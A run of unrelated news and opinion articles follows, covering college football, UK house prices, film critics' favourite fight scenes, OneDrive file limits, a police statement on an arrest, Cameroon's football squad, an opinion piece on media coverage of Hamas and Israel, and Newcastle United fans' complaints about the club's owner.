unlikely scenario had actually taken place - and news outlets the world over went bananas. Biologists and psychotherapists came forward to confirm the "genetic inevitability" of the pair's attraction and lamented the "cruelty of fate" and "trauma of forced separation". The tabloids screamed: "Are YOU one of the twins - or do you know them? Get in touch NOW on 020 ..." Here's the thing: it all came from a single remark more than a month ago by the vehemently anti-abortion Roman Catholic peer and father of four, Lord Alton, in favour of all children having the right to know the identity of their biological parents. He had heard about this particular case, he said, from the judge who handled the annulment. Or perhaps (he later admitted) a judge who was "familiar with the case". Britain's top family judge, Sir Mark Potter, has never heard of the story. And, as the excellent Heresy Corner blog notes, the whole thing is statistically improbable, procedurally implausible (for 40 years, adoption practice has been to keep twins together) and based on the equivalent of a friend in the pub saying, "Hey, I heard the most amazing story the other day." Still, stranger things have happened. -FAYETTEVILLE -- The Arkansas Razorbacks changed up their play distribution between second-string quarterbacks Tuesday, giving redshirt sophomore Ty Storey all the work in team drills. Redshirt freshman Cole Kelley will get the extended work today with the second unit behind starter Austin Allen. Coach Bret Bielema brought Kelley and Storey into his office Tuesday morning to explain the practice plan. "It felt good," Storey said. "We started kind of slow as a unit, but we picked it up towards the end and in the red zone we lit the fire, it felt like, so it was a good day." Said Kelley: "Ty did really well today. I think he got in a pretty good rhythm. We started kind of rough coming out, but he didn't. He did well." Storey said the increased reps were helpful. "When you have to go in for two plays and come out, you don't really get that rhythm with the guys," he said. "But when you're out there all day, especially in move-the-ball situations, it feels really good. "Being in the huddle every single rep and looking the guys in the eyes and letting them know you're the guy today is pretty cool." Kelley is eager for his workload today. "Going in four reps then sitting out 16 and then going four, it's kind of hard," Kelley said. "Today Ty got all the two reps and tomorrow I will, and we'll see how it goes." Nance x 2 Jonathan Nance scored a couple of times in Tuesday's practice. "Jonathan took the top off a couple of times," receiver Jordan Jones said. "J-Nance had a big day," quarterback Ty Storey said. "I know he caught one, I think it was in a team blitz pickup [period]. He caught a big touchdown there. Then he caught a fade ball in the back of the end zone, so it was a good day for J-Nance." He's in Freshman running back Chase Hayden said the film review of his long run against the starters in Saturday's scrimmage showed he stayed in bounds after a push from Henre Toliver inside the 10-yard line on the left sideline. Hayden was deemed to have stepped out by the side judge for a 65-yard gain to the 9. A touchdown would have given him a 74-yard gain to the end zone. 12 percent rule University of Arkansas, Fayetteville offensive players said Tuesday that offensive coordinator Dan Enos has presented the team with a 12 percent rule. According to Enos, the Razorbacks have a good winning percentage when less than 12 percent of their offensive snaps include mistakes such as penalties, dropped passes, quarterback hits and turnovers. "We have this system set up that involves sacks and drops and QB hits and missed assignments called the 12 percent rule," tackle Colton Jackson said. "We've just got to stick to being under 12 percent on those mental errors." Said receiver Jordan Jones: "When we were under 12 percent, most of the time we won the game. So he's stressing that a lot. When the ball hits the ground or somebody holds or is offside, the 12 percent rule is going to apply." Jackson 3 Koilan Jackson is the third son of Little Rock's Keith Jackson to play major college football, following Keith Jr. at Arkansas and Kenyon at Illinois. Keith Jackson Sr. was an All-American at Oklahoma and a six-time Pro Bowler in the NFL who is in the College Football Hall of Fame. Koilan Jackson was asked whether there is pressure to play immediately because all of his family members did. "Not just didn't redshirt, but they all started their freshman year," he said. "In the Jackson family, it's an expectation. I'm just going to take it step by step and see what comes of it." Smack-what? Receiver Jordan Jones, a product of Smackover High School in southern Arkansas, said he gets some weird looks when he tells people the name of his hometown. "A small town that nobody knows where it's at," Jones said of the Union County town with a population of 1,763 in the 2016 census. "I say I'm from Smackover and everybody looks at me like I'm crazy. "But it's been fun. My hometown gives me a lot of credit when I go back home." Run balance Offensive tackle Colton Jackson said the line has focused on run blocking in practice after grading out well in pass protection in Saturday's scrimmage. "Since the scrimmage, we've mainly worked on running the ball more," Jackson said. "We've been very focused on pass pro and stuff since last year, so we can't get away from what we do here at Arkansas, which is run the ball. We're working on being a balance of both." Punt pitch Sophomore punter Blake Johnson made his first media appearance since winning the starting job in the spring and gave his work in camp a thumbs up. "I've been working really hard and doing a really good job honestly, hitting really consistent balls that are going pretty far and doing what I'm supposed to," Johnson said. Johnson said his average in camp is more than 40 yards per punt, and his hang time has been more than 4.0 seconds. "I definitely did great in the spring and have had a great camp so far," said Johnson, who has credited much of his improvement to Toby Baker, the Hogs starting punter the past two years. Frog scout TCU Coach Gary Patterson, whose Horned Frogs will serve as the opponent in Arkansas' on-campus opener Sept. 9, is happy with the offensive staff he's assembled. Patterson hired former Louisiana Tech and Cal coach Sonny Dykes as his offensive analyst to help co-coordinators Sonny Cumbie, who coaches quarterbacks, and Curtis Luper, who handles running backs. The other offensive staff members are inside receivers coach Jarrett Anderson, outside receivers coach Rusty Burns and offensive line coach Chris Thomsen. "I've never had as much experience in my offensive room anywhere in my 35 years," Patterson said. "Everybody in the room is a coordinator on offense. Everyone has been a coordinator or a head coach." A defensive specialist, Patterson said the offensive staff has a framework in which to operate, and he doesn't micro-manage. "They don't need my help in there," he said. "I've given them some guidelines. I don't care what it looks like as long as it scores points, moves the ball and doesn't turn the ball over. I'm pretty simple when it comes to that." ADVERTISEMENT More headlines Sports on 08/09/2017 -Property website Zoopla says sharpest falls are in south-west as housing market and mortgage data point to a slowdown The average home in Britain has lost around £1,000 in value since the start of the year, according to property website Zoopla. The company said its data showed prices were down 0.4% between the start of January and the end of March, the equivalent to a fall of £11.15 a day for the average property. But it noted varying patterns in different parts of the country, with prices falling most sharply in south-west England, by 0.6%, but bucking the trend in Wales by rising 0.4%. Compared with a year earlier, average British house prices were up 1.4%, Zoopla said. It did not provide figures on annual growth in previous months. The housing market is typically quiet around the turn of the year but usually picks up in the spring, meaning the price falls since the start of 2017 could be reversed. Other housing market indicators have pointed to a slowdown in recent months. UK house prices fell for the first time in almost two years in March, according to Nationwide, with the average price dropping to £207,308 following a 0.6% rise in February. Bank of England figures showed mortgage approvals fell for the first time in six months in February. “The softening in values and continued low mortgage rates are positive news for first-time buyers trying to get on to the property ladder,” said Zoopla’s Lawrence Hall. “These prospective homeowners will be pleased to see a decrease in overall property values as seemingly unstoppable growth has pushed many areas out of reach in the past year. “It’s also encouraging to see the resilience of the Welsh property market which in the past has often lagged behind England and Scotland.” Zoopla’s analysis of its property values data showed prices in England dropped 0.4% over the first quarter of the year but were little changed in Scotland, dipping by less than 0.1%. Year-on-year comparisons showed house prices were up 2.1% in Wales, 0.9% in Scotland and 1.5% in England. Looking at property values by town, it found Tredegar in Wales had the largest increase between January and March, with a 1.8% rise. Leominster in Herefordshire saw the biggest rise among English towns, with prices up 1.7%. In Scotland, the biggest increase was in Livingston, West Lothian, with average prices up by 0.7%. -With the jaw-dropping stairwell brawl in "Atomic Blonde" fresh on our minds, we ask critics to name the best fight scenes ever shot. Every week, IndieWire asks a select handful of film and TV critics two questions and publishes the results on Monday. (The answer to the second, “What is the best film in theaters right now?”, can be found at the end of this post.) This week’s question: In honor of the bone-crunching “Atomic Blonde,” what is the greatest movie fight scene? Erin Oliver Whitney (@cinemabite), ScreenCrush I’ve got a soft spot for wuxia so the “best fight scene” immediately evokes Zhang Yimou in my mind. I could list every fight in “Hero,” sequences so spellbindingly beautiful and graceful you forget you’re watching violence. The bamboo forest battle from “House of Flying Daggers” is another all-timer, a mesmerizing fight that almost entirely takes place in the air. And the bone-crunching, table-smashing Vernita Green duel in “Kill Bill Vol.” I never gets old. But if I had to choose just one scene to crown as the GOAT, it’s gotta be the “Oldboy” fight. Like the “Atomic Blonde” stairwell fight, you feel the sheer exhaustion and pain amounting during a nearly-3 minute single-take. Plus, how do you top a fight where one guy takes on 25 with nothing but a hammer and a knife in his back? Charles Bramesco (@intothecrevasse), Freelance for The Guardian, Nylon, Vulture I am firm in my conviction that more professional basketball players should be learning kung fu. During the ’70s, Kareem Abdul-Jabbar trained under Bruce Lee and developed a close personal friendship with the virtuoso ass-kicker, allegedly going so far as to fly himself to Hong Kong during the NBA’s on-season just to shoot his role in Lee’s directorial effort “Game of Death.” He plays what essentially amounts to the final boss on Lee’s vaguely defined quest upwards through the level of a pagoda, the photosensitive Mantis Guardian of the 5th Floor. The real Abdul-Jabbar was no match for Lee, and the scene has to work around that imbalance, but what the man lacked in technical skills he more than made up for in being freakishly tall. The matchup of the already-slight Lee with his stilt of an opponent is bizarre and engrossing, with every shot resembling an optical illusion. Better still, K.A.J.’s emulation of Lee’s self-originated Jeet Kune Do style pairs the two of them in a fluid interplay that should feel awkward, but somehow plays like a brutal waltz. Someone get Kyrie Irving in one-on-one sessions with Tony Jaa. [closes tab containing google search for ‘name of any basketball player’] Richard Brody (@tnyfrontrow), The New Yorker The long answer is the impetuous, Homeric ten-minute brawl between John Wayne and Victor McLaglen to top off John Ford’s “The Quiet Man,” which also has built into it the audience for fight scenes and their authentic yet dubious pleasures. The short answer is the shockingly fast (single-take, if memory serves) climactic shootout near the end of Fritz Lang’s “Moonfleet.” Jordan Hoffman (@JHoffman), Freelance for The Guardian, Vanity Fair John Goodman vs Nicolas Cage in “Raising Arizona.” The camerawork is clean and smooth and velvety, but the fighting itself is a mess. Cage winding up for a thunderous punch only to scratch his knuckles on the ceiling is the type of thing that would happen to me. Christian Blauvelt (@Ctblauvelt), BBC Culture I feel like I should go with something really cool and obscure like the “house of mirrors” shoot-out in Tonino Valerii’s undersung Spaghetti Western masterpiece “My Name Is Nobody.” But I’m going with my heart. And my heart tells me that the sustained, snowballing opening of “Indiana Jones and the Temple of Doom” is the greatest bit of action ever put on screen. It begins, of course, with a musical number – Steven Spielberg directing his future bride Kate Capshaw in a lavish Shanghai floorshow production of Cole Porter’s Anything Goes that opens with the striking of a massive gong (a hat-tip to Rank Films’ famous logo). Then it becomes a tense showdown over a lazy susan as Indy, wearing a white tux and in full Bond mode, negotiates for a diamond from gangster Lao Che in exchange for the ashes of the first Manchu dynasty emperor Nurhaci. Then Indy gets poisoned, balloons drop, and the diamond gets lost in a spilled bucket of ice and it’s a total free-for-all that results in a high-speed chase down the streets of Shanghai and onto an airplane – an airplane that is piloted by a Lao Che goon and drops Indy and company over the Himalayas, leaving them to slide down the side of a mountain and off a cliff on an inflatable raft. You barely get a chance to catch your breath. “Temple of Doom” is basically Spielberg’s version of a Tarantino film – a film stuffed with references to the movies that inspired him. And the range of movies quoted in “Temple of Doom” is wildly diverse: from “Broadway Melody of 1940” for that starry bit of Norman Taurog-esque staging of the chorus girls during “Anything Goes,” to Capra’s “Lost Horizon” for the action aboard the plane and the mysterious Himalayas landing, to Disney’s “In Search of the Castaways” for the journey in the raft down the mountain. Spielberg and Lucas embraced pulp with “Temple of Doom” with an intensity they never quite did with the more respectable “Raiders of the Lost Ark” and “Last Crusade” (as great as those movies are in their own right). The mix of action, comedy, and utter horror on display throughout is truly breathtaking and I love the elegance of the sight gags: when, later in the film, Indy burns his shoes using his feet as brakes to stop the cart at the end of extraordinary mine chase (the meta idea of an action scene literally becoming a roller-coaster ride) he dances around and shouts “Water! Water!” His feet are on fire! Except then he sees that Mola Ram’s henchmen have opened a dam and a river’s worth of water is rushing toward them at lethal speed, at which he point he shouts again “Water! Water” not as a plea but as a warning. A brilliant comedic reframing based on context and intonation, and indicative of how tightly crafted this whole movie is. I’m putting it out there: “Temple of Doom” is the best Indy movie. It’s the purest execution ever of how to make a bit of Old Hollywood pulp new again. Jude Dry (@judedry), IndieWire Flying slightly under the radar when it came out in 2007, Michael Davis’ woefully underrated action parody “Shoot ‘Em Up” is the kind of movie you either love or hate, depending on how serious you think Davis takes himself. Though it seems pretty clear from the outset that Davis is having fun; anyone who opens his movie with the protagonist (a stone-faced Clive Owen) delivering a baby in the middle of a shoot-out and severing the umbilical chord with a bullet clearly has a sense of humor. The ridiculous action sequences stand out even more in opposition to the seriousness of the characters, namely Owen as a drifter caught up in an outlandish baby-farming ring who goes by the name Smith, Paul Giamatti as a criminal overlord for the ages, and Monica Bellucci as a drippingly sensuous femme fatale. The best fight sequence in the movie is as inventive and naughty as any more artfully done, when Smith and Bellucci’s character are besieged mid-shag by a comically endless string of gun-toting assassins. Without missing a beat, Smith takes down each and every one with a series of moves that get both jobs done at the same time. Bellucci really helps sell it, registering each flying bullet and inadvertent stroke with alternating shock and pleasure. It’s completely ridiculous, and oh so much fun. Davis drives home the movie’s pulp parody showing Smith biting a carrot, and actually uttering the words, “What’s up, Doc?” to Giamatti’s equally outlandish and oily villain. All in good, fun, “Shoot ‘Em Up” infuses its satisfying action sequences with humor at every turn, providing layers beneath the fun for those who choose to see it. Thankfully, Davis doesn’t bang you over the head with his satire, which is probably why it was lost on so many — an unfortunate side effect of not taking yourself too seriously. Christopher Campbell (@thefilmcynic), Nonfics and Film School Rejects This week’s question is close to a stumper for my attempt to always answer with documentaries, but I’m not giving in. If anything, I could just say the fight scene from “They Live” as featured in “The Pevert’s Guide to Ideology,” but that’s sort of cheating. Would the confrontation in “Harlan County USA” count? Probably not. I guess I have to go with something very recent: the cat fight scene in “Kedi.” Actually, that’s not too much of a settle, since it’s a pretty crazy fight scene. Christopher Llewellyn Reed (@chrisreedfilm), Hammer to Nail So, although I did not love the extreme violence of “Atomic Blonde” nor its clunky plot set-up and reveal, I loved the panache of its design and wild choreography of its fight scenes. That’s always what gets me: pure choreography, like a brutal ballet, motivated by the narrative. Which should make me a fan of Asian martial-arts films, but I confess I have a gaping hole in my film knowledge there, though I adore what Jackie Chan films I have seen (that man is a genius). One of my favorite moments in the very silly “Rumble in the Bronx” is when Chan does battle from within an abandoned refrigerator. That was cleverer to me than anything I saw in the much more renowned “Drunken Master” films (which, granted, are better actual movies). And Chan would be nowhere without Bruce Lee (and Buster Keaton). Lee’s “Enter the Dragon” is a delight, for sure. I am not such a fan of “wire fu,” however: those films where the characters can fly. It takes the fun out of it, for me. Other movies where the fight scenes have stood out are as follows: the bald Nazi fight in “Raiders of the Lost Ark”; most bits of the first three Bourne films; the train fight between Sean Connery and Robert Shaw in “From Russia with Love”; Jason Statham kicking ass while greased to the gills in the otherwise very dumb “The Transporter”; Sigourney Weaver squaring off against the mother alien in “Aliens”; and Sandra Oh and Anne Heche doing serious damage to each other in Onur Tukel’s “Catfight.” But my two absolute favorites, as I write this, are the vicious naked-in-the-sauna fight scene in David Cronenberg’s 2007 “Eastern Promises” and the tragicomic pas-de-deux-in-the-boxing-ring of Charlie Chaplin’s 1931 “City Lights.” The former is a masterful bit of non-gratuitous savagery that is entirely justified by the story and where the stakes are genuinely – and viscerally – high. The latter is a wonder of comic timing made more resonant by its sad conclusion, with similarly weighty stakes. Boxing films aren’t usually my thing, but I can watch this moment in “City Lights” over and over again and it never gets old. David Ehrlich (@davidehrlich), IndieWire My immediate response to this question — my immediate response to most questions really — was to think of the scene in “The Legend of Drunken Master” where Jackie Chan fights a guy in the cramped space beneath a train. There are too many incredible Chan fights to name, but the grace, confidence, and comedy of this exquisitely violent ballet is what first made me recognize that his talent is on par with that of Charlie Chaplin. Mike Ryan (@MikeRyan), Uproxx The underwater fight in “Top Secret!.” What is the best movie currently playing in theaters? Most Popular Answers: “Dunkirk” & “Landline” (Tie) Sign Up Stay on top of the latest film and TV news! Sign up for our film and TV email newsletter here. -As expected, Microsoft today announced that OneDrive now supports files up to 10GB in size, a significant jump from the previous 2GB cap. Support for larger files is included on the Web and in the Windows, Mac and mobile apps. Business users can also look forward to the increased limit, though Microsoft didn’t specify a launch date. OneDrive also increased the number of files that can be downloaded or uploaded simultaneous on PCs and Macs, so syncing to the service should be faster. Windows 7 and 8 users can now grab links for sharing OneDrive files straight from Windows Explorer instead of having to sign onto the website. The feature is gradually rolling out over the next few weeks. Microsoft has also added drag-and-drop folder uploading to OneDrive for Chrome. ➤ OneDrive now supports 10 GB files [OneDrive blog] Read next: Kevin Rose’s North mobile design studio is building an app for sharing tiny disappearing photos -Toddlers sure love surprises. And I bet the parents of this little girl were also pleasantly surprised by the string of swear words that emanated from her adorable lips when they poured a pot of water on her. From whence only babble came before, now came an unholy cursing of epic proportions. The best thing about this video (delivered via Uproxx) is how unexpected the expletives are. First there's an adorable child sitting in a chair muttering to herself in some strange, as yet uninterpretable language that shares many similarities to how I imagine Troll dolls talk. Then there's a pot of (what is probably lukewarm) water lovingly and gently poured over her head. And then suddenly, out of nowhere, this sweatpanted munchkin in gorgeous pigtails rears back and screams "fuck your mouth!" with all of her might. It's cathartic, it's terrifying and, most of all, it's the most hilarious thing I've seen all day. Fuck you in the mouth, parents. What else did you expect? UPDATE: I've watched the video again and concede that the child could be saying "fucking hell" because she is that one sassy maid on Downton Abbey. I still think she is saying "Fuck your mouth." -In a perfect follow-up to both President Obama's earlier comments and the news that a hearing is to be held ion May 17th, Rick Santelli has a few things to say. Clearly irritated at the incredible reality of big brother and government intervention, Santelli pushes his blood pressure to 11 on the dial as he comes to grip with the repercussions of the IRS actions. "Truth is power," he exclaims, "you can't assume someone is fair and honest," just because a politician says so. His bigger fears lie in the IRS administration of Obamacare where he is concerned that "No stent for you," will be heard when the powers that be know what groups you support, what thoughts you have, and what area you live in. Think he is exaggerating? Did you really believe the tin-foil hat wearers conspiracies that the IRS was doing this before it became mainstream news? -HOUSTON, TX - DECEMBER 01: Case Keenum #7 of Houston Texans looks to pass during the game against the New England Patriots at Reliant Stadium on December 1, 2013 in Houston, Texas. (Photo by Scott Halleran/Getty Images) – Case Keenum was the winning quarterback for the first time in his professional football career. He wasn’t speechless, but talking about it wasn’t easy. “I can’t put words on it,” Keenum said about the win. “It’s very special.” It wasn’t the most successful statistical performance of Keenum’s career by any means. He managed just 185 yards while throwing no touchdowns and one interception. He completed 20 of his 42 pass attempts finishing with a quarterback rating just over 50. The stats weren’t as important as getting the win. Chris Myers knew Keenum was a key to the victory. “Huge,” Myers said about Keenum’s performance. “We definitely missed him. To see him – what he went through up in St. Louis and coming here in a week, less than that, and be able to put the performance he did today speaks a lot about his character and his dedication.” Myers said Keenum spent a lot of hours catching up on the offense this week. “First one up here, last one to leave, the entire week,” said running back Arian Foster. He said most people don’t understand how difficult it is for a player to go from one offense to another in such a short amount of time. He said Keenum “studied his ass off” to get ready for this game. According to Keenum the system started to come back to him as he immersed himself in it this past week. He praised the offensive line for their protection and the offensive game plan leading to his success. “Every play we ran, I felt good about what was called,” Keenum said. DeAndre Hopkins wasn’t surprised by the showing today from his quarterback. “The guy’s going to give you all he has once he get out there on the field,” Hopkins said. “He’s not going to leave anything out there. It was no question about him going out and being to perform the task today.” Owner Bob McNair called Keenum’s performance “fantastic” after the game. Keenum is the epitome of the next man up attitude this team preaches said Kareem Jackson. “Case stepped in and did a great job for us today,” said Jackson who had two interceptions. “He did everything that the coaches asked of him. He led us today.” Now it will be up to Keenum to lead the Texans next week against the Jaguars, a must-win game for the Texans if they have designs on playing more than 16 games. Follow Stoots on Twitter – @Cody_Stoots -The South Bend police chief says there was no wrongdoing in the August arrest of Notre Dame cornerback Devin Butler. On Friday, chief Scott Ruszkowski said via statement he will not refer the case to the Board of Public Safety but that an internal investigation had been opened because of the large public interest in the case of the Fighting Irish senior. "As with proceedings for citizens accused of wrongdoing, serious officer discipline cases are handled according to due process," Ruszkowski said, according to the report. "These discipline cases, presented in public to the Board of Public Safety and decided based on evidence, are not reopened once a decision is made and a case is closed. "I have stressed honesty, integrity and accountability each and every day since becoming chief last year. Under my watch, SBPD examines every use-of-force case regardless of whether or not a complaint is made. For every case of alleged misconduct that comes before our department, we base decisions and recommendations on a full review of evidence. Cases for major discipline, from written reprimand to termination, are referred to the Board of Public Safety upon completion of an internal affairs investigation and my recommendation on appropriate discipline. "In the Butler case, the evidence does not support a claim of wrongdoing on the part of any officer involved, which is why I am not referring the case to the Board of Public Safety. It is also important to note that no formal citizen complaint was filed by Mr. Butler or others. Due to the considerable public interest in this case and accusations made in public, we decided to open an internal investigation anyway. We have refrained from releasing additional information about this case out of respect for Mr. Butler's right to due process. We will release further information as soon as circumstances allow." Butler, who was suspended from the Irish indefinitely following his arrest, faces felony counts of resisting law enforcement and battery against a public safety official. A not-guilty plea was entered on his behalf Aug. 24. Butler's girlfriend, Haleigh Bailey, had previously disputed the police account of Butler's arrest, telling the South Bend Tribune in August that Butler was "abused and wrongly arrested." The officer who had arrested Butler, Aaron Knepper, had been named as a co-defendant in three separate lawsuits since 2012 that accused him of using excessive force and violating civil rights, according to reports. A Washington D.C. native, Butler had been expected to miss the first month of this season with a broken left foot that had been re-injured this past summer. The 6-foot-1, 195-pound Butler appeared in 37 games and started three for the Irish, with 39 tackles, six pass breakups, one forced fumble, one fumble recovery and one interception. -Thunder and lightning rolled through the metro area Sunday, causing some property damage and even killing some goats in one neighborhood. The two goats were struck and killed by lightning at about 7 a.m. in Kelso, Wash. A witness said the animals had been standing next to a tree when lightning hit the tree. Elsewhere, Sunday afternoon, a tree hit by lightning fell and damaged two homes in the 18700 block of Southwest Hennig Court in Aloha. No one was hurt. "There was just this horrible big boom and at first, I thought it was thunder,"said Karen Lund. "And then I thought 'that's pretty strong thunder.' I went to the kitchen and saw the branches that had gone over the house and into the back yard. Then, when I turned around, I could see the branches that came through the roof and into the den." Throughout the rest of the afternoon, forecasters predicted a chance of showers and wind gusts up to 18 mph, according to the National Weather Service. It looks like the wet, cooler weather is sticking around. Showers and temperatures barely cracking 70 degrees are on tap for Monday and Tuesday, KATU Meteorologist Mary Loos predicts. -There is no place in the latest Cameroon squad for West Ham's Alex Song, despite the fact he has completed a three-match ban. The Indomitable Lions are set to play Sierra Leone on 10 and 15 October in Group D of 2015 Africa Cup of Nations qualifiers. Song was given the suspension after being sent off during Cameroon's second match at the World Cup. He was dismissed for elbowing Croatia's Mario Mandzukic in the 4-0 loss. Cameroon's 2015 Africa Cup of Nations qualifying so far Won 2-0 against DR Congo - goals from N'Jie and AboubakarWon 4-1 against Ivory Coast - 2 goals each from N'jie and Aboubakar The 28-year-old missed the final Group A match in Brazil, a 4-1 loss to the hosts, and then Cameroon's opening two Nations Cup qualifiers. Following the World Cup, he joined English Premier League side West Ham on a season-long loan from Spanish giants Barcelona. There is a recall for the Lyon defender Henri Bedimo, who missed the qualifying wins against DR Congo and Ivory Coast through injury. Cameroon are set to host both qualifiers against Sierra Leone in Yaounde as the Leone Stars are unable to play at home due to the ongoing outbreak of the deadly Ebola virus in the country. The Indomitable Lions are top of Group D after the first two matches with the top two sides in each group guaranteed to qualify for January's finals in Morocco. Cameroon squad: Goalkeepers: Pierre Sylvain Abogo (Tonnerre Yaounde), Guy Roland Ndy Assembe (Nancy, France), Joseph Ondoua (Barcelona, Spain) Defenders: Frank Bagnack (Barcelona, Spain), Henri Bedimo (Lyon, France), Cedric Djeugoue (Coton Sport), Jerome Guihoata (Valenciennes, France), Bana Moussa (Coton Sport), Nicolas Nkoulou, Brice Nlate (both Marseille), Ambroise Oyongo (New York Red Bulls, USA) Midfielders: Enoh Eyong (Standard Liege, Belgium), Marc Kibong Mbamba (Konyaspor, Turkey), Raoul Cedric Loe (Osasuna, Spain), Georges Mandjeck (Kayseri Erciyesspor, Turkey), Stephane Mbia (Sevilla, Spain), Benjamin Moukandjo (Stade Reims, France), Edgar Salli (Monaco, France), Guy Christian Zock (Cosmos Bafia) Forwards: Vincent Aboubakar (Porto, Portugal), Eric-Maxim Choupo Moting (Schalke 04, Germany), Jean Marie Dongou (Barcelona, Spain), Frank Etoundi (FC Zurich, Switzerland), Leonard Kwueke (Caykur Rizespor, Turkey), Clinton N'Jie(Lyon) -How the Media Support Hamas' Efforts to Delegitimize Israel The Palestinians long ago realized that they cannot defeat Israel militarily and opted instead to delegitimize and diplomatically isolate Israel. The Palestinian Authority (PA) has approached this goal by pushing for unilateral diplomatic recognition, a strategy facilitated by its claim to represent a peaceful approach to the conflict with Israel. That claim became far less credible once the PA (1) accepted Hamas, which the U.S. State Department has designated as a terrorist group, into a unity government, and (2) more recently embraced Hamas' violent attacks. Like the PA, Hamas also seeks to delegitimize and diplomatically isolate Israel, and uses its civilians and the mainstream media to that end. By posing a direct threat to Israeli civilians, Hamas compels Israel into a war that Hamas is bound to lose militarily but win on the PR front. Hamas knows that the international media will rarely provide the context, balance, history, and technical details for Israel to be judged fairly. So to achieve its goal of delegitimization, Hamas just has to start a war with Israel. Then, a cooperative media will dutifully reinforce a simple and oft repeated narrative: the militarily superior IDF brutally and disproportionately harms innocent and defenseless Palestinians. That narrative defames Israel, with potentially serious political and economic consequences. In the current conflict in Gaza, the mainstream media has been abundantly helpful to Hamas. There are countless examples, but here are some highlights that demonstrate just how much the press helps Hamas (out of anti-Israel animus, journalistic sloppiness, and/or naivete). The media clearly favor Hamas by: Focusing so much more on Palestinian suffering than anyone else's. Nigerians must die in far greater numbers before the mainstream media take notice (those hundreds of abducted Nigerian schoolgirls left the front pages long ago). Minimizing its coverage, if any, of the Hamas attacks that led up to Israel's military response and generally providing so little context that outsiders think that Israelis kill Palestinians just for fun. The French media are particularly guilty of this, and their distortions of the conflict are so one-sided that they incite Muslims across France to attack Jews and synagogues (which attacks unwittingly remind everyone why the Jews need a state). Emphasizing the Gazan civilian death toll without explaining that (1) Hamas casualty reports are hasty and inflated, and (2) Hamas maximizes that total by using Palestinians to shield its weapons and by urging them to stay in the very areas that the IDF -- in its effort to minimize our civilian deaths -- warns Gazans to evacuate. Never mentioning the fact that if Hamas could kill millions of Israelis, they would (after all, their charter calls for Israel's destruction and their anti-Semitism is amply on record). Just as the 9/11 hijackers made the most of what they had but would have liked to kill far more Americans (for example, with the help of WMD), Hamas too would love to kill far more Israelis. Indeed, they have purposely targeted Israel's nuclear reactor on several occasions, with that very goal in mind. Of course, the media rarely highlight the genocidal intent behind such attacks when mentioning Israel's "disproportionate" response. Never calling Hamas "jihadists" even though they persecute Christians (the same as the ISIS, which just compelled Mosul's Christians to convert to Islam). The forced conversion, expulsion, or murder of Christians and other religious minorities by Islamists has been happening for millennia, as assiduously documented in Raymond Ibrahim's Crucified Again , but such historical context is absent from most reporting on Hamas' conflict with Israel. Downplaying how bad Hamas is for Gazans by not reporting on, for example, their attack on the very Israeli power station that provides electricity to 70,000 Gazans. The media also ignored how the Israelis -- in their remarkable display of goodwill -- exposed their workers to the perils of our rockets so that they could restore power to Gaza. Minimally reporting on Hamas' corruption, unfair wealth, or vast expenditures on tunnels to attack Israel while ordinary Palestinians grew poorer. Overlooking how -- to maximize Palestinian deaths -- Hamas stored its missiles in an UNWRA-run school and how, when UNWRA found out, they just handed the missiles back to Hamas. Disregarding Arabs who have the courage to critique Hamas -- like Dr. Tawfik Hamid, an Islamist-turned-reformer who blames Palestinian suffering entirely on Hamas. Ignoring Israeli humanitarianism in providing medical aid to the very terrorists trying to kill them. Failing to acknowledge Israel's immense restraint. Had Hamas been fighting Syria's Assad regime, by now Gaza would have been flattened -- devastated by barrel bombs, poison gas, and other attacks that are far more indiscriminate than Israel's intelligence-directed strikes. And of course, if Syria were killing Palestinians, the media would hardly care. But luckily for Hamas, they're fighting Israel -- that country that everyone loves to hate -- so Hamas can count on favorable coverage. Omitting how Israel chose to sacrifice dozens of IDF soldiers when destroying Hamas tunnels and weapons in densely populated areas like Shejaiya because doing so with air strikes (which risks no soldiers) would have killed many thousands of Palestinians. The media's omission of such crucial moral facts repeats how the press covered Jenin in 2002, when (again) -- rather than praise Israel's humane but costly decision to use ground troops rather than air strikes -- the media falsely accused Israel of a massacre during another IDF operation to stop Palestinian terrorist attacks on Israeli civilians. Not sharing with English readers what Hamas openly says in Arabic: that they view any truce as just an opportunity to rearm for their next war against Israel (as Hamas spokesman, Musheer Al Masri, recently declared on TV). Not underscoring that Israel can do nothing to make peace with Hamas (after all, Israelis ended their occupation of Gaza in 2005 and they've been rocketing Israel ever since). Hamas absurdly insists that the next cease-fire deal remove Israel's blockade so that they can more easily replenish their weapons and restore their tunnels for their next attack. Anyone who -- like Qatar -- sides with Hamas' terms for a truce plainly wants to subject Israel to ceaseless, bloody attacks. Not reminding readers, when mentioning potential truce arrangements, that world powers are no more capable of ensuring a demilitarized Gaza than they were capable of disarming Hizb’allah in south Lebanon. As if all of the above weren't bad enough, the mainstream media's skewed reporting encourages countless pro-Hamas protesters to organize often violent demonstrations that embolden the terrorist group while giving it a veneer of political legitimacy. Noah Beck is the author of The Last Israelis, an apocalyptic novel about Iranian nukes and other geopolitical issues in the Middle East. -(CNN) Every other week 50,000 fans of an English Premier League team flock to the city's soccer cathedral to cheer on a club that hasn't won a trophy for over half a century. But it's not Newcastle United's inability to end an exhaustive wait for silverware that is troubling a sizeable chunk of its supporters. Its billionaire British owner has seemingly perfected a method for squeezing every last cent out of a club that made a $28 million profit for 2013/14, while appearing content to let it tread water in sporting terms. The English Premier League team is deep in a trough of form, defeat at Liverpool on Monday its fifth in a row, and could yet be sucked into another bitter battle to avoid relegation. But an under performing team is only part of the problem. Many supporters feel betrayed by a perceived poverty of ambition from Mike Ashley, who they accuse of allying the club to "tacky" brands and prioritising profit over performance since his takeover in 2007. "A zombie club," is how one Newcastle fanzine describes United's current state. "An empty shell," cries another. Newcastle is renowned in soccer circles for the passion of its fans. The joke goes the club could schedule a friendly for two days' time in Timbuktu and a clutch of hardy souls would still make the trip. But patience is running thin. The four-time English champions' last domestic trophy was secured 60 years ago and it hasn't won anything of note since 1969. Sad to see what a mess #nufc are in. No discipline, no direction, no leadership. Need a new manager allowed by Ashley to rebuild properly. — Henry Winter (@henrywinter) April 13, 2015 Ashley stands accused of not investing enough in the squad, selling the club's best players and being content merely to survive in order to milk the huge riches on offer from multi-billion dollar television deals. Yet despite the discontent, 50,000 disciples ritually flock up Gallowgate Hill on a match day to pack the Premier League's third biggest stadium for every home game. There might be a few less sporting the famous black and white stripes on Sunday though, as disillusioned fans call for a boycott of the clash with Spurs in protest at the club's apparent stagnation. "When Ashley rolled into town you thought 'We've got this mega-rich, English businessman in the sports industry, what could possibly go wrong?'" Mark Jensen, editor of The Mag fanzine, told CNN. "Our place in his business empire appears to underpin the rest of it. The eternal optimists keep thinking he's going to reach a point where he says 'I'm going to 